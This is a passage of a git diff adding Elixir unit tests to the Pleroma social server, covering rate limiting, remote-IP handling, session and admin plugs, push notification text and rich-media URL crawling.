Pleroma.Web.Plugs.RateLimiterTest do + use Pleroma.Web.ConnCase + + alias Phoenix.ConnTest + alias Pleroma.Config + alias Pleroma.Plugs.RateLimiter + alias Plug.Conn + + import Pleroma.Factory + import Pleroma.Tests.Helpers, only: [clear_config: 1, clear_config: 2] + + # Note: each example must work with separate buckets in order to prevent concurrency issues + setup do: clear_config([Pleroma.Web.Endpoint, :http, :ip]) + setup do: clear_config(:rate_limit) + + describe "config" do + @limiter_name :test_init + setup do: clear_config([Pleroma.Plugs.RemoteIp, :enabled]) + + test "config is required for plug to work" do + Config.put([:rate_limit, @limiter_name], {1, 1}) + Config.put([Pleroma.Web.Endpoint, :http, :ip], {8, 8, 8, 8}) + + assert %{limits: {1, 1}, name: :test_init, opts: [name: :test_init]} == + [name: @limiter_name] + |> RateLimiter.init() + |> RateLimiter.action_settings() + + assert nil == + [name: :nonexisting_limiter] + |> RateLimiter.init() + |> RateLimiter.action_settings() + end + end + + test "it is disabled if it remote ip plug is enabled but no remote ip is found" do + assert RateLimiter.disabled?(Conn.assign(build_conn(), :remote_ip_found, false)) + end + + test "it is enabled if remote ip found" do + refute RateLimiter.disabled?(Conn.assign(build_conn(), :remote_ip_found, true)) + end + + test "it is enabled if remote_ip_found flag doesn't exist" do + refute RateLimiter.disabled?(build_conn()) + end + + test "it restricts based on config values" do + limiter_name = :test_plug_opts + scale = 80 + limit = 5 + + Config.put([Pleroma.Web.Endpoint, :http, :ip], {8, 8, 8, 8}) + Config.put([:rate_limit, limiter_name], {scale, limit}) + + plug_opts = RateLimiter.init(name: limiter_name) + conn = build_conn(:get, "/") + + for i <- 1..5 do + conn = RateLimiter.call(conn, plug_opts) + assert {^i, _} = RateLimiter.inspect_bucket(conn, limiter_name, plug_opts) + Process.sleep(10) + end + + conn = RateLimiter.call(conn, plug_opts) + assert %{"error" => "Throttled"} = ConnTest.json_response(conn, :too_many_requests) + assert conn.halted + + Process.sleep(50) + + conn = build_conn(:get, "/") + + conn = RateLimiter.call(conn, plug_opts) + assert {1, 4} = RateLimiter.inspect_bucket(conn, limiter_name, plug_opts) + + refute conn.status == Conn.Status.code(:too_many_requests) + refute conn.resp_body + refute conn.halted + end + + describe "options" do + test "`bucket_name` option overrides default bucket name" do + limiter_name = :test_bucket_name + + Config.put([:rate_limit, limiter_name], {1000, 5}) + Config.put([Pleroma.Web.Endpoint, :http, :ip], {8, 8, 8, 8}) + + base_bucket_name = "#{limiter_name}:group1" + plug_opts = RateLimiter.init(name: limiter_name, bucket_name: base_bucket_name) + + conn = build_conn(:get, "/") + + RateLimiter.call(conn, plug_opts) + assert {1, 4} = RateLimiter.inspect_bucket(conn, base_bucket_name, plug_opts) + assert {:error, :not_found} = RateLimiter.inspect_bucket(conn, limiter_name, plug_opts) + end + + test "`params` option allows different queries to be tracked independently" do + limiter_name = :test_params + Config.put([:rate_limit, limiter_name], {1000, 5}) + Config.put([Pleroma.Web.Endpoint, :http, :ip], {8, 8, 8, 8}) + + plug_opts = RateLimiter.init(name: limiter_name, params: ["id"]) + + conn = build_conn(:get, "/?id=1") + conn = Conn.fetch_query_params(conn) + conn_2 = build_conn(:get, "/?id=2") + + RateLimiter.call(conn, plug_opts) + assert {1, 4} = RateLimiter.inspect_bucket(conn, limiter_name, plug_opts) + assert {0, 5} = RateLimiter.inspect_bucket(conn_2, limiter_name, plug_opts) + end + + test "it supports combination of options modifying bucket name" do + limiter_name = :test_options_combo + Config.put([:rate_limit, limiter_name], {1000, 5}) + Config.put([Pleroma.Web.Endpoint, :http, :ip], {8, 8, 8, 8}) + + base_bucket_name = "#{limiter_name}:group1" + + plug_opts = + RateLimiter.init(name: limiter_name, bucket_name: base_bucket_name, params: ["id"]) + + id = "100" + + conn = build_conn(:get, "/?id=#{id}") + conn = Conn.fetch_query_params(conn) + conn_2 = build_conn(:get, "/?id=#{101}") + + RateLimiter.call(conn, plug_opts) + assert {1, 4} = RateLimiter.inspect_bucket(conn, base_bucket_name, plug_opts) + assert {0, 5} = RateLimiter.inspect_bucket(conn_2, base_bucket_name, plug_opts) + end + end + + describe "unauthenticated users" do + test "are restricted based on remote IP" do + limiter_name = :test_unauthenticated + Config.put([:rate_limit, limiter_name], [{1000, 5}, {1, 10}]) + Config.put([Pleroma.Web.Endpoint, :http, :ip], {8, 8, 8, 8}) + + plug_opts = RateLimiter.init(name: limiter_name) + + conn = %{build_conn(:get, "/") | remote_ip: {127, 0, 0, 2}} + conn_2 = %{build_conn(:get, "/") | remote_ip: {127, 0, 0, 3}} + + for i <- 1..5 do + conn = RateLimiter.call(conn, plug_opts) + assert {^i, _} = RateLimiter.inspect_bucket(conn, limiter_name, plug_opts) + refute conn.halted + end + + conn = RateLimiter.call(conn, plug_opts) + + assert %{"error" => "Throttled"} = ConnTest.json_response(conn, :too_many_requests) + assert conn.halted + + conn_2 = RateLimiter.call(conn_2, plug_opts) + assert {1, 4} = RateLimiter.inspect_bucket(conn_2, limiter_name, plug_opts) + + refute conn_2.status == Conn.Status.code(:too_many_requests) + refute conn_2.resp_body + refute conn_2.halted + end + end + + describe "authenticated users" do + setup do + Ecto.Adapters.SQL.Sandbox.checkout(Pleroma.Repo) + + :ok + end + + test "can have limits separate from unauthenticated connections" do + limiter_name = :test_authenticated1 + + scale = 50 + limit = 5 + Config.put([Pleroma.Web.Endpoint, :http, :ip], {8, 8, 8, 8}) + Config.put([:rate_limit, limiter_name], [{1000, 1}, {scale, limit}]) + + plug_opts = RateLimiter.init(name: limiter_name) + + user = insert(:user) + conn = build_conn(:get, "/") |> assign(:user, user) + + for i <- 1..5 do + conn = RateLimiter.call(conn, plug_opts) + assert {^i, _} = RateLimiter.inspect_bucket(conn, limiter_name, plug_opts) + refute conn.halted + end + + conn = RateLimiter.call(conn, plug_opts) + + assert %{"error" => "Throttled"} = ConnTest.json_response(conn, :too_many_requests) + assert conn.halted + end + + test "different users are counted independently" do + limiter_name = :test_authenticated2 + Config.put([:rate_limit, limiter_name], [{1, 10}, {1000, 5}]) + Config.put([Pleroma.Web.Endpoint, :http, :ip], {8, 8, 8, 8}) + + plug_opts = RateLimiter.init(name: limiter_name) + + user = insert(:user) + conn = build_conn(:get, "/") |> assign(:user, user) + + user_2 = insert(:user) + conn_2 = build_conn(:get, "/") |> assign(:user, user_2) + + for i <- 1..5 do + conn = RateLimiter.call(conn, plug_opts) + assert {^i, _} = RateLimiter.inspect_bucket(conn, limiter_name, plug_opts) + end + + conn = RateLimiter.call(conn, plug_opts) + assert %{"error" => "Throttled"} = ConnTest.json_response(conn, :too_many_requests) + assert conn.halted + + conn_2 = RateLimiter.call(conn_2, plug_opts) + assert {1, 4} = RateLimiter.inspect_bucket(conn_2, limiter_name, plug_opts) + refute conn_2.status == Conn.Status.code(:too_many_requests) + refute conn_2.resp_body + refute conn_2.halted + end + end + + test "doesn't crash due to a race condition when multiple requests are made at the same time and the bucket is not yet initialized" do + limiter_name = :test_race_condition + Pleroma.Config.put([:rate_limit, limiter_name], {1000, 5}) + Pleroma.Config.put([Pleroma.Web.Endpoint, :http, :ip], {8, 8, 8, 8}) + + opts = RateLimiter.init(name: limiter_name) + + conn = build_conn(:get, "/") + conn_2 = build_conn(:get, "/") + + %Task{pid: pid1} = + task1 = + Task.async(fn -> + receive do + :process2_up -> + RateLimiter.call(conn, opts) + end + end) + + task2 = + Task.async(fn -> + send(pid1, :process2_up) + RateLimiter.call(conn_2, opts) + end) + + Task.await(task1) + Task.await(task2) + + refute {:err, :not_found} == RateLimiter.inspect_bucket(conn, limiter_name, opts) + end +end diff --git a/test/pleroma/web/plugs/remote_ip_test.exs b/test/pleroma/web/plugs/remote_ip_test.exs new file mode 100644 index 000000000..14c557694 --- /dev/null +++ b/test/pleroma/web/plugs/remote_ip_test.exs @@ -0,0 +1,108 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.Plugs.RemoteIpTest do + use ExUnit.Case + use Plug.Test + + alias Pleroma.Plugs.RemoteIp + + import Pleroma.Tests.Helpers, only: [clear_config: 2] + + setup do: + clear_config(RemoteIp, + enabled: true, + headers: ["x-forwarded-for"], + proxies: [], + reserved: [ + "127.0.0.0/8", + "::1/128", + "fc00::/7", + "10.0.0.0/8", + "172.16.0.0/12", + "192.168.0.0/16" + ] + ) + + test "disabled" do + Pleroma.Config.put(RemoteIp, enabled: false) + + %{remote_ip: remote_ip} = conn(:get, "/") + + conn = + conn(:get, "/") + |> put_req_header("x-forwarded-for", "1.1.1.1") + |> RemoteIp.call(nil) + + assert conn.remote_ip == remote_ip + end + + test "enabled" do + conn = + conn(:get, "/") + |> put_req_header("x-forwarded-for", "1.1.1.1") + |> RemoteIp.call(nil) + + assert conn.remote_ip == {1, 1, 1, 1} + end + + test "custom headers" do + Pleroma.Config.put(RemoteIp, enabled: true, headers: ["cf-connecting-ip"]) + + conn = + conn(:get, "/") + |> put_req_header("x-forwarded-for", "1.1.1.1") + |> RemoteIp.call(nil) + + refute conn.remote_ip == {1, 1, 1, 1} + + conn = + conn(:get, "/") + |> put_req_header("cf-connecting-ip", "1.1.1.1") + |> RemoteIp.call(nil) + + assert conn.remote_ip == {1, 1, 1, 1} + end + + test "custom proxies" do + conn = + conn(:get, "/") + |> put_req_header("x-forwarded-for", "173.245.48.1, 1.1.1.1, 173.245.48.2") + |> RemoteIp.call(nil) + + refute conn.remote_ip == {1, 1, 1, 1} + + Pleroma.Config.put([RemoteIp, :proxies], ["173.245.48.0/20"]) + + conn = + conn(:get, "/") + |> put_req_header("x-forwarded-for", "173.245.48.1, 1.1.1.1, 173.245.48.2") + |> RemoteIp.call(nil) + + assert conn.remote_ip == {1, 1, 1, 1} + end + + test "proxies set without CIDR format" do + Pleroma.Config.put([RemoteIp, :proxies], ["173.245.48.1"]) + + conn = + conn(:get, "/") + |> put_req_header("x-forwarded-for", "173.245.48.1, 1.1.1.1") + |> RemoteIp.call(nil) + + assert conn.remote_ip == {1, 1, 1, 1} + end + + test "proxies set `nonsensical` CIDR" do + Pleroma.Config.put([RemoteIp, :reserved], ["127.0.0.0/8"]) + Pleroma.Config.put([RemoteIp, :proxies], ["10.0.0.3/24"]) + + conn = + conn(:get, "/") + |> put_req_header("x-forwarded-for", "10.0.0.3, 1.1.1.1") + |> RemoteIp.call(nil) + + assert conn.remote_ip == {1, 1, 1, 1} + end +end diff --git a/test/pleroma/web/plugs/session_authentication_plug_test.exs b/test/pleroma/web/plugs/session_authentication_plug_test.exs new file mode 100644 index 000000000..34518414f --- /dev/null +++ b/test/pleroma/web/plugs/session_authentication_plug_test.exs @@ -0,0 +1,63 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.Plugs.SessionAuthenticationPlugTest do + use Pleroma.Web.ConnCase, async: true + + alias Pleroma.Plugs.SessionAuthenticationPlug + alias Pleroma.User + + setup %{conn: conn} do + session_opts = [ + store: :cookie, + key: "_test", + signing_salt: "cooldude" + ] + + conn = + conn + |> Plug.Session.call(Plug.Session.init(session_opts)) + |> fetch_session + |> assign(:auth_user, %User{id: 1}) + + %{conn: conn} + end + + test "it does nothing if a user is assigned", %{conn: conn} do + conn = + conn + |> assign(:user, %User{}) + + ret_conn = + conn + |> SessionAuthenticationPlug.call(%{}) + + assert ret_conn == conn + end + + test "if the auth_user has the same id as the user_id in the session, it assigns the user", %{ + conn: conn + } do + conn = + conn + |> put_session(:user_id, conn.assigns.auth_user.id) + |> SessionAuthenticationPlug.call(%{}) + + assert conn.assigns.user == conn.assigns.auth_user + end + + test "if the auth_user has a different id as the user_id in the session, it does nothing", %{ + conn: conn + } do + conn = + conn + |> put_session(:user_id, -1) + + ret_conn = + conn + |> SessionAuthenticationPlug.call(%{}) + + assert ret_conn == conn + end +end diff --git a/test/pleroma/web/plugs/set_format_plug_test.exs b/test/pleroma/web/plugs/set_format_plug_test.exs new file mode 100644 index 000000000..1b9ba16b1 --- /dev/null +++ b/test/pleroma/web/plugs/set_format_plug_test.exs @@ -0,0 +1,38 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.Plugs.SetFormatPlugTest do + use ExUnit.Case, async: true + use Plug.Test + + alias Pleroma.Plugs.SetFormatPlug + + test "set format from params" do + conn = + :get + |> conn("/cofe?_format=json") + |> SetFormatPlug.call([]) + + assert %{format: "json"} == conn.assigns + end + + test "set format from header" do + conn = + :get + |> conn("/cofe") + |> put_private(:phoenix_format, "xml") + |> SetFormatPlug.call([]) + + assert %{format: "xml"} == conn.assigns + end + + test "doesn't set format" do + conn = + :get + |> conn("/cofe") + |> SetFormatPlug.call([]) + + refute conn.assigns[:format] + end +end diff --git a/test/pleroma/web/plugs/set_locale_plug_test.exs b/test/pleroma/web/plugs/set_locale_plug_test.exs new file mode 100644 index 000000000..3dc73202e --- /dev/null +++ b/test/pleroma/web/plugs/set_locale_plug_test.exs @@ -0,0 +1,46 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.Plugs.SetLocalePlugTest do + use ExUnit.Case, async: true + use Plug.Test + + alias Pleroma.Plugs.SetLocalePlug + alias Plug.Conn + + test "default locale is `en`" do + conn = + :get + |> conn("/cofe") + |> SetLocalePlug.call([]) + + assert "en" == Gettext.get_locale() + assert %{locale: "en"} == conn.assigns + end + + test "use supported locale from `accept-language`" do + conn = + :get + |> conn("/cofe") + |> Conn.put_req_header( + "accept-language", + "ru, fr-CH, fr;q=0.9, en;q=0.8, *;q=0.5" + ) + |> SetLocalePlug.call([]) + + assert "ru" == Gettext.get_locale() + assert %{locale: "ru"} == conn.assigns + end + + test "use default locale if locale from `accept-language` is not supported" do + conn = + :get + |> conn("/cofe") + |> Conn.put_req_header("accept-language", "tlh") + |> SetLocalePlug.call([]) + + assert "en" == Gettext.get_locale() + assert %{locale: "en"} == conn.assigns + end +end diff --git a/test/pleroma/web/plugs/set_user_session_id_plug_test.exs b/test/pleroma/web/plugs/set_user_session_id_plug_test.exs new file mode 100644 index 000000000..11404c7f7 --- /dev/null +++ b/test/pleroma/web/plugs/set_user_session_id_plug_test.exs @@ -0,0 +1,45 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.Plugs.SetUserSessionIdPlugTest do + use Pleroma.Web.ConnCase, async: true + + alias Pleroma.Plugs.SetUserSessionIdPlug + alias Pleroma.User + + setup %{conn: conn} do + session_opts = [ + store: :cookie, + key: "_test", + signing_salt: "cooldude" + ] + + conn = + conn + |> Plug.Session.call(Plug.Session.init(session_opts)) + |> fetch_session + + %{conn: conn} + end + + test "doesn't do anything if the user isn't set", %{conn: conn} do + ret_conn = + conn + |> SetUserSessionIdPlug.call(%{}) + + assert ret_conn == conn + end + + test "sets the user_id in the session to the user id of the user assign", %{conn: conn} do + Code.ensure_compiled(Pleroma.User) + + conn = + conn + |> assign(:user, %User{id: 1}) + |> SetUserSessionIdPlug.call(%{}) + + id = get_session(conn, :user_id) + assert id == 1 + end +end diff --git a/test/pleroma/web/plugs/uploaded_media_plug_test.exs b/test/pleroma/web/plugs/uploaded_media_plug_test.exs new file mode 100644 index 000000000..07f52c8cd --- /dev/null +++ b/test/pleroma/web/plugs/uploaded_media_plug_test.exs @@ -0,0 +1,43 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.Plugs.UploadedMediaPlugTest do + use Pleroma.Web.ConnCase + alias Pleroma.Upload + + defp upload_file(context) do + Pleroma.DataCase.ensure_local_uploader(context) + File.cp!("test/fixtures/image.jpg", "test/fixtures/image_tmp.jpg") + + file = %Plug.Upload{ + content_type: "image/jpg", + path: Path.absname("test/fixtures/image_tmp.jpg"), + filename: "nice_tf.jpg" + } + + {:ok, data} = Upload.store(file) + [%{"href" => attachment_url} | _] = data["url"] + [attachment_url: attachment_url] + end + + setup_all :upload_file + + test "does not send Content-Disposition header when name param is not set", %{ + attachment_url: attachment_url + } do + conn = get(build_conn(), attachment_url) + refute Enum.any?(conn.resp_headers, &(elem(&1, 0) == "content-disposition")) + end + + test "sends Content-Disposition header when name param is set", %{ + attachment_url: attachment_url + } do + conn = get(build_conn(), attachment_url <> "?name=\"cofe\".gif") + + assert Enum.any?( + conn.resp_headers, + &(&1 == {"content-disposition", "filename=\"\\\"cofe\\\".gif\""}) + ) + end +end diff --git a/test/pleroma/web/plugs/user_enabled_plug_test.exs b/test/pleroma/web/plugs/user_enabled_plug_test.exs new file mode 100644 index 000000000..0a314562a --- /dev/null +++ b/test/pleroma/web/plugs/user_enabled_plug_test.exs @@ -0,0 +1,59 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.Plugs.UserEnabledPlugTest do + use Pleroma.Web.ConnCase, async: true + + alias Pleroma.Plugs.UserEnabledPlug + import Pleroma.Factory + + setup do: clear_config([:instance, :account_activation_required]) + + test "doesn't do anything if the user isn't set", %{conn: conn} do + ret_conn = + conn + |> UserEnabledPlug.call(%{}) + + assert ret_conn == conn + end + + test "with a user that's not confirmed and a config requiring confirmation, it removes that user", + %{conn: conn} do + Pleroma.Config.put([:instance, :account_activation_required], true) + + user = insert(:user, confirmation_pending: true) + + conn = + conn + |> assign(:user, user) + |> UserEnabledPlug.call(%{}) + + assert conn.assigns.user == nil + end + + test "with a user that is deactivated, it removes that user", %{conn: conn} do + user = insert(:user, deactivated: true) + + conn = + conn + |> assign(:user, user) + |> UserEnabledPlug.call(%{}) + + assert conn.assigns.user == nil + end + + test "with a user that is not deactivated, it does nothing", %{conn: conn} do + user = insert(:user) + + conn = + conn + |> assign(:user, user) + + ret_conn = + conn + |> UserEnabledPlug.call(%{}) + + assert conn == ret_conn + end +end diff --git a/test/pleroma/web/plugs/user_fetcher_plug_test.exs b/test/pleroma/web/plugs/user_fetcher_plug_test.exs new file mode 100644 index 000000000..f873d7dc8 --- /dev/null +++ b/test/pleroma/web/plugs/user_fetcher_plug_test.exs @@ -0,0 +1,41 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.Plugs.UserFetcherPlugTest do + use Pleroma.Web.ConnCase, async: true + + alias Pleroma.Plugs.UserFetcherPlug + import Pleroma.Factory + + setup do + user = insert(:user) + %{user: user} + end + + test "if an auth_credentials assign is present, it tries to fetch the user and assigns it", %{ + conn: conn, + user: user + } do + conn = + conn + |> assign(:auth_credentials, %{ + username: user.nickname, + password: nil + }) + + conn = + conn + |> UserFetcherPlug.call(%{}) + + assert conn.assigns[:auth_user] == user + end + + test "without a credential assign it doesn't do anything", %{conn: conn} do + ret_conn = + conn + |> UserFetcherPlug.call(%{}) + + assert conn == ret_conn + end +end diff --git a/test/pleroma/web/plugs/user_is_admin_plug_test.exs b/test/pleroma/web/plugs/user_is_admin_plug_test.exs new file mode 100644 index 000000000..4a05675bd --- /dev/null +++ b/test/pleroma/web/plugs/user_is_admin_plug_test.exs @@ -0,0 +1,37 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.Plugs.UserIsAdminPlugTest do + use Pleroma.Web.ConnCase, async: true + + alias Pleroma.Plugs.UserIsAdminPlug + import Pleroma.Factory + + test "accepts a user that is an admin" do + user = insert(:user, is_admin: true) + + conn = assign(build_conn(), :user, user) + + ret_conn = UserIsAdminPlug.call(conn, %{}) + + assert conn == ret_conn + end + + test "denies a user that isn't an admin" do + user = insert(:user) + + conn = + build_conn() + |> assign(:user, user) + |> UserIsAdminPlug.call(%{}) + + assert conn.status == 403 + end + + test "denies when a user isn't set" do + conn = UserIsAdminPlug.call(build_conn(), %{}) + + assert conn.status == 403 + end +end diff --git a/test/pleroma/web/push/impl_test.exs b/test/pleroma/web/push/impl_test.exs new file mode 100644 index 000000000..6cab46696 --- /dev/null +++ b/test/pleroma/web/push/impl_test.exs @@ -0,0 +1,344 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.Push.ImplTest do + use Pleroma.DataCase + + import Pleroma.Factory + + alias Pleroma.Notification + alias Pleroma.Object + alias Pleroma.User + alias Pleroma.Web.ActivityPub.ActivityPub + alias Pleroma.Web.CommonAPI + alias Pleroma.Web.Push.Impl + alias Pleroma.Web.Push.Subscription + + setup do + Tesla.Mock.mock(fn + %{method: :post, url: "https://example.com/example/1234"} -> + %Tesla.Env{status: 200} + + %{method: :post, url: "https://example.com/example/not_found"} -> + %Tesla.Env{status: 400} + + %{method: :post, url: "https://example.com/example/bad"} -> + %Tesla.Env{status: 100} + end) + + :ok + end + + @sub %{ + endpoint: "https://example.com/example/1234", + keys: %{ + auth: "8eDyX_uCN0XRhSbY5hs7Hg==", + p256dh: + "BCIWgsnyXDv1VkhqL2P7YRBvdeuDnlwAPT2guNhdIoW3IP7GmHh1SMKPLxRf7x8vJy6ZFK3ol2ohgn_-0yP7QQA=" + } + } + @api_key "BASgACIHpN1GYgzSRp" + @message "@Bob: Lorem ipsum dolor sit amet, consectetur adipiscing elit. Fusce sagittis fini..." + + test "performs sending notifications" do + user = insert(:user) + user2 = insert(:user) + insert(:push_subscription, user: user, data: %{alerts: %{"mention" => true}}) + insert(:push_subscription, user: user2, data: %{alerts: %{"mention" => true}}) + + insert(:push_subscription, + user: user, + data: %{alerts: %{"follow" => true, "mention" => true}} + ) + + insert(:push_subscription, + user: user, + data: %{alerts: %{"follow" => true, "mention" => false}} + ) + + {:ok, activity} = CommonAPI.post(user, %{status: "Lorem ipsum dolor sit amet, consectetur :firefox: adipiscing elit. Fusce sagittis finibus turpis." + }) + + object = Object.normalize(activity) + + assert Impl.format_body( + %{ + activity: activity + }, + user, + object + ) == + "@Bob: Lorem ipsum dolor sit amet, consectetur adipiscing elit. Fusce sagittis fini..." + + assert Impl.format_title(%{activity: activity, type: "mention"}) == + "New Mention" + end + + test "renders title and body for follow activity" do + user = insert(:user, nickname: "Bob") + other_user = insert(:user) + {:ok, _, _, activity} = CommonAPI.follow(user, other_user) + object = Object.normalize(activity, false) + + assert Impl.format_body(%{activity: activity, type: "follow"}, user, object) == + "@Bob has followed you" + + assert Impl.format_title(%{activity: activity, type: "follow"}) == + "New Follower" + end + + test "renders title and body for announce activity" do + user = insert(:user) + + {:ok, activity} = + CommonAPI.post(user, %{ + status: + "Lorem ipsum dolor sit amet, consectetur :firefox: adipiscing elit. Fusce sagittis finibus turpis." + }) + + {:ok, announce_activity} = CommonAPI.repeat(activity.id, user) + object = Object.normalize(activity) + + assert Impl.format_body(%{activity: announce_activity}, user, object) == + "@#{user.nickname} repeated: Lorem ipsum dolor sit amet, consectetur adipiscing elit. Fusce sagittis fini..." + + assert Impl.format_title(%{activity: announce_activity, type: "reblog"}) == + "New Repeat" + end + + test "renders title and body for like activity" do + user = insert(:user, nickname: "Bob") + + {:ok, activity} = + CommonAPI.post(user, %{ + status: + "Lorem ipsum dolor sit amet, consectetur :firefox: adipiscing elit. Fusce sagittis finibus turpis." + }) + + {:ok, activity} = CommonAPI.favorite(user, activity.id) + object = Object.normalize(activity) + + assert Impl.format_body(%{activity: activity, type: "favourite"}, user, object) == + "@Bob has favorited your post" + + assert Impl.format_title(%{activity: activity, type: "favourite"}) == + "New Favorite" + end + + test "renders title for create activity with direct visibility" do + user = insert(:user, nickname: "Bob") + + {:ok, activity} = + CommonAPI.post(user, %{ + visibility: "direct", + status: "This is just between you and me, pal" + }) + + assert Impl.format_title(%{activity: activity}) == + "New Direct Message" + end + + describe "build_content/3" do + test "builds content for chat messages" do + user = insert(:user) + recipient = insert(:user) + + {:ok, chat} = CommonAPI.post_chat_message(user, recipient, "hey") + object = Object.normalize(chat, false) + [notification] = Notification.for_user(recipient) + + res = Impl.build_content(notification, user, object) + + assert res == %{ + body: "@#{user.nickname}: hey", + title: "New Chat Message" + } + end + + test "builds content for chat messages with no content" do + user = insert(:user) + recipient = insert(:user) + + file = %Plug.Upload{ + content_type: "image/jpg", + path: Path.absname("test/fixtures/image.jpg"), + filename: "an_image.jpg" + } + + {:ok, upload} = ActivityPub.upload(file, actor: user.ap_id) + + {:ok, chat} = CommonAPI.post_chat_message(user, recipient, nil, media_id: upload.id) + object = Object.normalize(chat, false) + [notification] = Notification.for_user(recipient) + + res = Impl.build_content(notification, user, object) + + assert res == %{ + body: "@#{user.nickname}: (Attachment)", + title: "New Chat Message" + } + end + + test "hides contents of notifications when option enabled" do + user = insert(:user, nickname: "Bob") + + user2 = + insert(:user, nickname: "Rob", notification_settings: %{hide_notification_contents: true}) + + {:ok, activity} = + CommonAPI.post(user, %{ + visibility: "direct", + status: "Lorem ipsum dolor sit amet, consectetur :firefox: adipiscing elit. Fusce sagittis finibus turpis." + }) + + notif = insert(:notification, user: user2, activity: activity) + + actor = User.get_cached_by_ap_id(notif.activity.data["actor"]) + object = Object.normalize(activity) + + assert Impl.build_content(notif, actor, object) == %{ + body: + "@Bob: Lorem ipsum dolor sit amet, consectetur adipiscing elit. Fusce sagittis fini...", + title: "New Direct Message" + } + + {:ok, activity} = + CommonAPI.post(user, %{ + visibility: "public", + status: + "Lorem ipsum dolor sit amet, consectetur :firefox: adipiscing elit. Fusce sagittis finibus turpis." + }) + + notif = insert(:notification, user: user2, activity: activity, type: "mention") + + actor = User.get_cached_by_ap_id(notif.activity.data["actor"]) + object = Object.normalize(activity) + + assert Impl.build_content(notif, actor, object) == %{ + body: + "@Bob: Lorem ipsum dolor sit amet, consectetur adipiscing elit. Fusce sagittis fini...", + title: "New Mention" + } + + {:ok, activity} = CommonAPI.favorite(user, activity.id) + + notif = insert(:notification, user: user2, activity: activity, type: "favourite") + + actor = User.get_cached_by_ap_id(notif.activity.data["actor"]) + object = Object.normalize(activity) + + assert Impl.build_content(notif, actor, object) == %{ + body: "@Bob has favorited your post", + title: "New Favorite" + } + end + end +end diff --git a/test/pleroma/web/rel_me_test.exs b/test/pleroma/web/rel_me_test.exs new file mode 100644 index 000000000..65255916d --- /dev/null +++ b/test/pleroma/web/rel_me_test.exs @@ -0,0 +1,48 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.RelMeTest do + use ExUnit.Case + + setup_all do + Tesla.Mock.mock_global(fn env -> apply(HttpRequestMock, :request, [env]) end) + :ok + end + + test "parse/1" do + hrefs = ["https://social.example.org/users/lain"] + + assert Pleroma.Web.RelMe.parse("http://example.com/rel_me/null") == {:ok, []} + + assert {:ok, %Tesla.Env{status: 404}} = + Pleroma.Web.RelMe.parse("http://example.com/rel_me/error") + + assert Pleroma.Web.RelMe.parse("http://example.com/rel_me/link") == {:ok, hrefs} + assert Pleroma.Web.RelMe.parse("http://example.com/rel_me/anchor") == {:ok, hrefs} + assert Pleroma.Web.RelMe.parse("http://example.com/rel_me/anchor_nofollow") == {:ok, hrefs} + end + + test "maybe_put_rel_me/2" do + profile_urls = ["https://social.example.org/users/lain"] + attr = "me" + fallback = nil + + assert Pleroma.Web.RelMe.maybe_put_rel_me("http://example.com/rel_me/null", profile_urls) == + fallback + + assert Pleroma.Web.RelMe.maybe_put_rel_me("http://example.com/rel_me/error", profile_urls) == + fallback + + assert Pleroma.Web.RelMe.maybe_put_rel_me("http://example.com/rel_me/anchor", profile_urls) == + attr + + assert Pleroma.Web.RelMe.maybe_put_rel_me( + "http://example.com/rel_me/anchor_nofollow", + profile_urls + ) == attr + + assert Pleroma.Web.RelMe.maybe_put_rel_me("http://example.com/rel_me/link", profile_urls) == + attr + end +end diff --git a/test/pleroma/web/rich_media/helpers_test.exs b/test/pleroma/web/rich_media/helpers_test.exs new file mode 100644 index 000000000..4b97bd66b --- /dev/null +++ b/test/pleroma/web/rich_media/helpers_test.exs @@ -0,0 +1,86 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.RichMedia.HelpersTest do + use Pleroma.DataCase + + alias Pleroma.Config + alias Pleroma.Object + alias Pleroma.Web.CommonAPI + alias Pleroma.Web.RichMedia.Helpers + + import Pleroma.Factory + import Tesla.Mock + + setup do + mock(fn env -> apply(HttpRequestMock, :request, [env]) end) + + :ok + end + + setup do: clear_config([:rich_media, :enabled]) + + test "refuses to crawl incomplete URLs" do + user = insert(:user) + + {:ok, activity} = + CommonAPI.post(user, %{ + status: "[test](example.com/ogp)", + content_type: "text/markdown" + }) + + Config.put([:rich_media, :enabled], true) + + assert %{} == Pleroma.Web.RichMedia.Helpers.fetch_data_for_activity(activity) + end + + test "refuses to crawl malformed URLs" do + user = insert(:user) + + {:ok, activity} = + CommonAPI.post(user, %{ + status: "[test](example.com[]/ogp)", + content_type: "text/markdown" + }) + + Config.put([:rich_media, :enabled], true) + + assert %{} == Pleroma.Web.RichMedia.Helpers.fetch_data_for_activity(activity) + end + + test "crawls valid, complete URLs" do + user = insert(:user) + + {:ok, activity} = + CommonAPI.post(user, %{ + status: "[test](https://example.com/ogp)", + content_type: "text/markdown" + }) + + Config.put([:rich_media, :enabled], true) + + assert 